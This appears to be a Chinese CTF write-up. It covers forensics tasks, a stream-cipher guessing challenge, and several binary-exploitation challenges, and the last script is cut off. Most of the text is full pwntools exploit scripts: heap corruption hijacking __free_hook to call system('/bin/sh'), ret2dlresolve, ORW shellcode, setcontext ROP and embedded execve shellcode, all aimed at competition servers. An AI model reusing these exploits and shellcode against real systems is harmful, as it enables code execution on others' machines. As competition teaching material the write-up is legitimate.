BitLocker磁碟机加密恢复密钥
恢复键用来从BitLocker保护下的驱动器中获取数据。
对比ID和恢复屏幕中显示的恢复键，可以确定这是一个有效的恢复键。
恢复密钥ID: `168F1291-82C1-4B`
整体恢复密钥ID: `168F1291-82C1-4BF2-B634-9CCCEC63E9ED`
BitLocker恢复键:
`221628 - 533357 - 667392 - 449185 - 516428 - 718443 - 190674 - 375100`
### 0x02 **MISC Blue Teaming**
解压后hex打开，发现7z文件头，解压得到mem.dump
volatility 查看文件，查找有关powershell的相关信息，最终搜索到powershell日志文件
evtx格式文件,将其导出，发现两端powershell代码，如下图，结果，发现上面的代码就是下面的结果，无果，winhex查看文件，结合联想到进程“申请注册表”，发现一段代码如下
尝试提交 ~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
### 0x03 **ExtremlySlow**
先从流量中提取latest文件，需要按照content-range字段重新组合，得到latest之后，使用010editor打开发现是pyc，检查了magic
number应该是3.10以上的版本，修改unpyc，添加了GEN_START、修复字典相关字节码处理，成功反编译出源码，分析源码可知需要输入26个字节的数据，打印RC4的密钥m得到[stegosaurus](https://github.com/AngelKitty/stegosaurus)字符串，推测应该是pyc隐写，使用[stegosaurus](https://github.com/AngelKitty/stegosaurus)工具，适配3.10后即可解出26字节数据。输入后打印c，即得到flag
pyc
import sys
from hashlib import sha256
MOD = 256
def KSA(key):
key_length = len(key)
# create the array "S"
S = list(range(MOD)) # [0,1,2, ... , 255]
j = 0
for i in range(MOD):
j = (j + S[i] + key[i % key_length]) % MOD
S[i], S[j] = S[j], S[i] # swap values
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % MOD
j = (j + S[i]) % MOD
S[i], S[j] = S[j], S[i] # swap values
K = S[(S[i] + S[j]) % MOD]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p, stream):
return bytes(map(lambda x: x ^ stream.__next__(), p))
if __name__ == '__main__':
w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'
s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2: 115, 8: 97, 11: 117, 10: 114}
n = {3: 119, 7: 116, 9: 124, 12: 127}
m |= {x : x ^ n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda x: x[1], sorted(m.items()))))
print(xor(w, stream).decode())
p = sys.stdin.buffer.read(26)
e = xor(e, stream)
c = xor(p, stream)
if sha256(c).digest() == s:
print(xor(t, stream).decode())
else:
print(e.decode())
### 0x04 **ISO1995**
一个ISO文件，通过观察知道新的flagfolder的时间戳是错的。按道理讲，应该是指向oldflag的相应字符。每一个oldflag文件里有个字节。
观察后，发现时间戳fffffff后的数值为不同的，可以修改依据进行排序。排序后，将相应指向的字符拼起来，然后可以在其中发现flag。
其中from.txt是存取ffffffff后的两个字节，可以手动提取，很方便，如图
相应的排序后转化为字符
file = open("tail","rb")
src = file.read()
out = []
length = len(src)
for i in range(0,length):
if src[i] != 0:
out.append(src[i])
for i in out:
print(chr(i),end='')
two = []
f = open("from.txt","r").read().split()
for i in f:
two.append(int(i,16))
for i in two:
print(chr(out[i]),end='')
### 0x05 **EzTime**
NTFS log文件，使用工具NTFS Log Tracker V1.2.exe将题目给的两个文件打开，能够导出一个文件LogFile.csv
找到这个文件，访问时间早于修改时间
提交文件名即可
2286333 {45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png 2021/5/23 0:28 2021/5/23 0:32
2021/5/23 0:28 Update Resident Value 0x25 0
## CRY
### guess_game
预计30秒左右得到flag
每个不同的guess值会让第一个序列和第二个序列出现差距的特征不一样，所以在本地运行多次统计出固定的特征值即可，把接受的的数据和本地运行的数据进行对比即可确定guess值
from pwn import*
from hashlib import*
import random
import string
import hashlib
import sys
from collections import deque
import sys
class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()
for i in range(80):
self.NFSR.append(key[i])
for i in range(64):
self.LFSR.append(iv[i])
for i in range(64, 80):
self.LFSR.append(1)
self.clock()
if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])
def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi
def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]
hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) \
^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)
zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[
56]) ^ hx
fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]
gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37] \
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0] \
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9]) \
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21]) \
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33]) \
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37]) \
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)
return zi
def f():
m1=[]
m2=[]
for kk in range(160):
r=(2**160)-1
s=(2**160)-1
for j in range(20):
guess=kk
k = guess // 2
m = guess % 10
if m == 0:
m = 10
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))
a = generator(key, iv, False)
k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)
b = generator(key, iv, True, k, m)
k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
r=r&(k1^k2)
s=s&(((2**160)-1)-k1^k2)
r=bin(r)[2:].zfill(160)
s=bin(s)[2:].zfill(160)
l=[]
for p in range(160):
if(r[p]=='1'):
l.append(p)
m1.append(l)
l=[]
for p in range(160):
if(s[p]=='1'):
l.append(p)
m2.append(l)
return m1,m2
m1,m2=f()
def fd(s,m1,m2):
flag1=1
for i in range(160):
flag=1
tar=m1[i]
for j in tar:
if(s[j]!='1'):
flag=0
break
tar=m2[i]
for j in tar:
if(s[j]!='0'):
flag=0
break
if(flag):
return i
def att(s,f):
c=[]
for i in range(26):
c.append(chr(i+0x41))
c.append(chr(i+0x61))
for i in range(10):
c.append(chr(0x30+i))
for i in c:
for j in c:
for k in c:
for m in c:
t=i+j+k+m
if(sha256(t.encode()+s).hexdigest()==f.decode()):
return t
sh=remote("39.105.139.103","10002")
a=sh.recv()
sh.sendline(att(a[14:30],a[35:99]))
for i in range(32):
print(sh.recv().decode())
print(sh.recvuntil("your:\n").decode())
a=int(sh.recvuntil("\n",drop=True).decode(),10)
b=int(sh.recvuntil("\n",drop=True).decode(),10)
s=bin(a^b)[2:].zfill(160)
sh.sendline(fd(s,m1,m2))
print(sh.recv())
## PWN
### 0x01 **no_output**
ret2_dlresolve的模板题
from roputils import *
from pwn import process,remote
from pwn import gdb
from pwn import context
#r = process('./no_input')
r = remote('39.105.138.97',1234)
context.log_level = 'debug'
dynstr = 0x08048318
payload = p32(0x0804C084)
payload = payload.ljust(0x30,b'a')
r.send(payload)
payload = '\x00ello_boy'.ljust(0x20,'a')
r.send(payload)
r.sendline("-2147483648")
r.sendline('-1')
rop = ROP('./no_input')
offset = 0x48+4
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
### 0x02 baby_diary
2.29下的off-by-null构造，利用largebin残留的指针，需要小爆破一下。
#! /usr/bin/env python
# -*- coding: utf-8 -*- from PwnContext import *
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
debugg = 0
logg = 0
ctx.binary = './baby_diary'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0x4060,'size':0x4140}
ctx.breakpoints = [0x15df]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")
def lg(name,val):
log.success("%s :%s"%(name,hex(val)))
def getLeak():
num = uu64(ru('\x7f',drop=False)[-6:])
return num
while 1:
try:
if debugg:
rs()
else:
ctx.remote = ('8.140.114.72', 1399)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def choice(aid):
sla('>> ',aid)
def add(asize,acon):
choice(1)
sla('size: ',asize-1)
sa('content: ',acon)
def show(aid):
choice(2)
sla('index: ',aid)
def free(aid):
choice(3)
sla('index: ',aid)
for i in range(7):
add(0x28,'chun_'+str(i)+'\n')#0-6
'''
heap_base = ctx.bases.heap
lg("heap_base",heap_base)
if (heap_base>>8)&0xf0 != 0xf0:
ctx.close()
continue
if (heap_base>>16)&0xf != 0:
ctx.close()
continue
raw_input('success!')
'''
add(0xc18,'padding\n')#7
add(0x5e0,'8\n')#8
add(0x18,'9\n')#9
free(8)
add(0x618,'8\n')#8
add(0x28,chr(ord('a')-6)+'a'*7+p64(0x101)+p8(0x90)+'\n')#10
add(0x28,'\n')#11
add(0x28,'1'*7+'\n')#12
add(0x28,'\n')#13
add(0x28,'\n')#14
for i in range(7):
free(i)
free(11)
free(13)
for i in range(7):
add(0x28,'\n')#0-6
add(0x618,'\n')#11
add(0x28,chr(ord('b')-4)+'b'*7+p8(0x10)+'\n')#13
add(0x20,'\x0d'+'\0'*0x1e)#15
for i in range(7):
free(i)
free(14)
free(10)
for i in range(7):
add(0x28,'\n')#0-6
add(0x28,p8(0x10)+'\n')#10
add(0x28,'\n')#14
add(0x10,'\n')#16
add(0x4d8,'\n')#17
free(16)
add(0x18,'\0'*0x17)#16 off by null
free(16)
add(0x18,p64(1)+p64(0)+'\n')#16 set data
free(17)
add(0x18,'\n')#17
show(15)
data = ru('diary')
if '\x7f' not in data:
ctx.close()
continue
libc = ctx.libc
aid = data.find('\x7f')
libc_base = uu64(data[aid-5:aid+1]) - 0x1ebbe0
lg("libc_base",libc_base)
free(13)
free(12)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x60,'\x00'*0x28+p64(0x31)+p64(free_hook-8)+'\n')#12
add(0x28,'\n')#13
add(0x28,'/bin/sh\0'+p64(system)+'\n')#18
free(18)
#ctx.debug()
irt()
if debugg == 1:
break
except KeyboardInterrupt:
exit()
except Exception,e:
print e.message
### 0x03 EzCloud
当申请满16个chunk的时候，再次申请即可溢出修改到next session的指针。首先利用edit
note来改大点size，泄露堆地址，然后将伪造next session即可。
#! /usr/bin/env python
# -*- coding: utf-8 -*- from PwnContext import *
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
debugg = 0
logg = 0
ctx.binary = './EzCloud'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.31-0ubuntu9.1_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0xd1e0}
ctx.breakpoints = [0x75f1]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")
def lg(name,val):
log.success("%s :%s"%(name,hex(val)))
def getLeak():
num = uu64(ru('\x7f',drop=False)[-6:])
return num
now_num = 8
while 1:
try:
if debugg:
rs()
else:
ctx.remote = ('47.94.234.66', 37128)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def login(aid):
content = ''
content += 'POST /login HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += '\r\n'
s(content)
ru('</body></html>\r\n')
def add(aid,asize,acon):
content = ''
content += 'POST /notepad HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Note-Operation: new%20note\r\n'
content += 'Content-Length: {asize}\r\n'.format(asize=asize)
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
content += urlencode(acon)+'\r\n'
content += '\r\n'
s(content)
ru('</body></html>\r\n')
def edit(lgid,aid,asize,acon):
content = ''
content += 'POST /notepad HTTP/1.1\r\n'
content += 'Login-ID: {lgid}\r\n'.format(lgid=lgid)
content += 'Note-Operation: edit%20note\r\n'
content += 'Note-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: {asize}\r\n'.format(asize=asize)
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
content += urlencode(acon)+'\r\n'
content += '\r\n'
s(content)
ru('</body></html>\r\n')
def free(lgid,aid):
content = ''
content += 'POST /notepad HTTP/1.1\r\n'
content += 'Login-ID: {lgid}\r\n'.format(lgid=lgid)
content += 'Note-Operation: delete%20note\r\n'
content += 'Note-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
s(content)
ru('</body></html>\r\n')
def show(aid):
content = ''
content += 'GET /notepad HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
s(content)
def getflag(aid):
content = ''
content += 'GET /flag HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += '\r\n'
s(content)
login('111')
login('222')
add('111',0x1,'A')
edit('111',0,2,'B')
show('111')
ru('<p>B')
fake = (uu64(r(5)) << 8)+0x8ef8+now_num
now_num += 8
lg("fake",fake)
ru('</body></html>\r\n')
num = 0xe0
for i in range(13):
add('111',num*3,'A'*num)
payload = ''
payload += 'B'*0x30+p64(fake)
payload += p64(1)+p64(fake+0x20)
payload += p64(8)+p64(3)
payload += '888'+'\0'*5
payload += 'B'*(0xe0-len(payload))
for i in range(16):
add('222',num*3,payload)
add('222',0x30,'C'*0x10)
#ctx.debug()
#raw_input()
getflag('888')
data = ru('</body></html>\r\n')
if '{' in data:
print data
irt()
else:
ctx.close()
if debugg == 1:
break
except KeyboardInterrupt:
exit()
except Exception,e:
print e.message
### 0x04 **orw**
seccomp沙箱，只允许read write open,覆盖free的got表为一块堆，然后在堆里填上jmp
rdi（要free的这块堆），利用另一块堆进行orw
注意还有一个漏洞，输入0的话可以无限输入，突破输入的限制：
exp:
from pwn import *
context.log_level="debug"
context.os = 'linux'
context.arch = 'amd64'
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('39.105.131.68',12354)
libc = ELF('./libc-2.23.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def add(index,size,text):
ru("choice >>")
sl(1)
ru('index:')
sl(index)
ru('size:')
sl(size)
ru('content:')
s(text)
def delete(index):
ru("choice >>")
sl(4)
ru('index:')
sl(index)
free_addr= 0x202018
chunk_addr = 0x2020E0
index = (chunk_addr-free_addr)/8
payload = asm('jmp rdi')+'\x90'*5
print(payload)
print(len(payload))
add(-index,7,payload)
#gdb.attach(p)
payload = asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,'rsp',0x40))
payload += asm(shellcraft.write(1,'rsp',0x40))
payload +='\n'
print(len(payload))
add(0,0,payload)
delete(0)
p.interactive()
### 0x05 **babypwn**
off-by-one漏洞，劫持free_hook利用setcontext进行rop，泄露地址时用z3解
from pwn_debug import *
from z3 import *
pdbg=pwn_debug("./babypwn")
pdbg.context.terminal=['tmux', 'splitw', '-h']
context.log_level='debug'
pdbg.remote("39.105.130.158",8888)
switch=3
if switch==1:
p=pdbg.run("local")
elif switch==2:
p=pdbg.run("debug")
elif switch==3:
p=pdbg.run("remote")
libc=ELF("./libc.so.6"))
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
sym = lambda symbol :pdbg.sym(symbol)
def bpp():
bp([])
input()
#elf=pdbg.elf
#libc=pdbg.libc
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#----------------------------------------------------------------------------------------- def alloc(sz):
sla('>>>',1)
sla('size:',sz)
def free(idx):
sla('>>>',2)
sla('index:',idx)
def edit(idx,con):
sla('>>>',3)
sla('index:',idx)
sa('content:',con)
def show(idx):
sla('>>>',4)
sla('index:',idx)
def magic(num):
s=Solver()
v4=BitVec("res",8*4)
v4_t=v4
for i in range(2):
v4 ^= LShR((v4 ^ (32 * v4)) , 17) ^ 32 * v4 ^ ((LShR((v4 ^ (32 * v4)) , 17) ^ v4 ^ 32 * v4) << 13)
s.add(v4==num)
assert s.check()==sat
return s.model()[v4_t].as_long()
for i in range(8):
alloc(0x88)
for i in range(5):
free(i)
for i in range(6,8):
free(i)
free(5)
alloc(0x48)
show(0)
ru('\n')
recv_num1=magic(int(ru('\n'),16))
recv_num2=magic(int(ru('\n'),16))
recv_num=recv_num1|(recv_num2<<32)
addr=recv_num-0x3ebd20
free(0)
for i in range(7):
alloc(0x88)
for i in range(9):
alloc(0x108+0x90)
free(7)
free(8)
alloc(0x198)
show(7)
ru('\n')
recv_num1=magic(int(ru('\n'),16))
recv_num2=magic(int(ru('\n'),16))
heap_base=(recv_num1|(recv_num2<<32))-0xd70
free(7)
for i in range(9,14):
free(i)
free(14)
alloc(0x88)
edit(7,'a'*0x88)
alloc(0x88)
alloc(0x28)
for i in range(7):
free(i)
free(8)
free(15)
alloc(0x100)
free(9)
edit(0,'\x00'*0x88+p64(0x31)+p64(addr+libc.sym['__free_hook']))
alloc(0x28)
alloc(0x28)
alloc(0x200)
libc_base=addr
buffer_addr=heap_base+0x1b70
pop_rdx=0x0000000000001b96+libc_base
pop_rdi=0x000000000002155f+libc_base
pop_rsi_1=0x000000000002155d+libc_base
flag_str_addr=buffer_addr+0xb0
setcontext=libc_base+libc.sym['setcontext']+53
flag_addr=buffer_addr+0xc0
func_open=libc.sym['open']+libc_base
func_read=libc.sym['read']+libc_base
func_write=libc.sym['write']+libc_base
rop_chain=flat([
flag_str_addr,
pop_rsi_1,
0,
0,
func_open,
pop_rdi,
3,
pop_rsi_1,
flag_addr,
0,
pop_rdx,
0x30,
func_read,
pop_rdi,
1,
pop_rsi_1,
flag_addr,
0,
pop_rdx,
0x30,
func_write
])
rop_chain=rop_chain.ljust(0xb0,'\x00')+'flag.txt'+p64(0)
rop_chain=rop_chain.ljust(0x100,'\x00')
s=SigreturnFrame()
s.rsp=buffer_addr
s.rip=pop_rdi
s=str(s)
pay=s[:0x88]+p64(heap_base+0xf0)+s[0x90:0xd8]+p64(heap_base+0x240+0xb8-0x40)+s[0xe0:]
pay=pay.ljust(0x100,'\x00')
edit(3,pay+rop_chain)
edit(2,p64(libc_base+libc.sym['setcontext']+53))
free(3)
it()
### 0x06 **pipeline**
漏洞点位于append中的LOWORD（v1)=v3覆盖低两个字节可导致大小变大，从而溢出。
利用未初始化泄露LIBC和heap
利用整数溢出越界写堆块
控制堆块指针随便打
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './pipeline'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.31.so")
p = remote("59.110.173.239" , 2399)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#----------------------------------------------------------------------------------------- def choice(idx):
sla(">> ",str(idx))
def add():
choice(1)
def edit(idx,off,sz):
choice(2)
sla("index: ",idx)
sla("offset: ",off)
sla("size: ",sz)
def delete(idx):
choice(3)
sla("index: ",idx)
def append(idx,sz,con):
choice(4)
sla("index: ",idx)
# sla("offset: ",off)
sla("size: ",sz)
sa("data: ",con)
def show(idx):
choice(5)
sla("index: ",idx)
def exp():
# debug([0x149E,0x14D2])
add()#0
add()
add()#2
add()
add()#4
add()#5
# debug([0x1400,0x1732,0x1885,0x18B7,0x18AF])
edit(1,0x437,0x438)
add()#6
add()#7
add()#8
add()#9
# edit(1,0x457,0x458)
edit(1,0x457,0x458)
edit(2,0,0x20)
show(2)
ru("data: ")
data = uu64(r(6))
lg('data',data)
addr = data - 0x7ffa90832fe0 + 0x7ffa90647000
append(2,0x10,'a'*0x10)
show(2)
ru("a"*0x10)
data1 = uu64(r(6))
lg('data1',data1)
heap = data1 - 0x370
lg('heap',heap)
lg('addr',addr)
sys = addr + libc.sym['system']
fh = addr + libc.sym['__free_hook']
#------------------------------------------ # edit(0,0x27,0x28)#oof + size off = size append <=
# edit(3,0,0x18)
edit(4,0,0x28)
# edit(0,0,0)
# edit(3,0,0)
edit(5,0,0x10)
edit(0,0,0x20)
edit(3,0,0x20)
# delete(6)
edit(3,0,0)
edit(0,0,0)
edit(4,0,0)
# debug([0x1875])
# add()#7
pay = 'x'*0x10+p64(0)+p64(0x31)+p64(heap+0x2b0)
append(5,0x80000200,pay+'\n')
edit(3,0,0x20)
append(3,8,'/bin/sh\x00')
edit(4,0,0x20)
edit(0,0,0x20)
pay = 'b'*0x10+p64(fh)
append(0,0x20,pay+'\n')
append(0,0x20,p64(sys)+'\n')
edit(3,0,0)
# append(0,0xffffffff,'a'+'\n')
# append(1,0xffffffff,'a'*0x30+'\n')
# add()
# edit(1,0x27,0x28)
# edit(4,0x17,0x18)
# add()
# edit(4,0,0)
# dbg()
it()
if __name__ == '__main__':
exp()
### 0x07 **[强网先锋]shellcode**
64位下执行mmap read
32位下open
64位read爆破匹配
# _*_ coding:utf-8 _*_
from pwn import *
# context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './shellcode'
# context.arch = 'i386'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("./libc-2.27.so")
# p = remote("124.70.197.50", 9010)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def prepare(p):
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
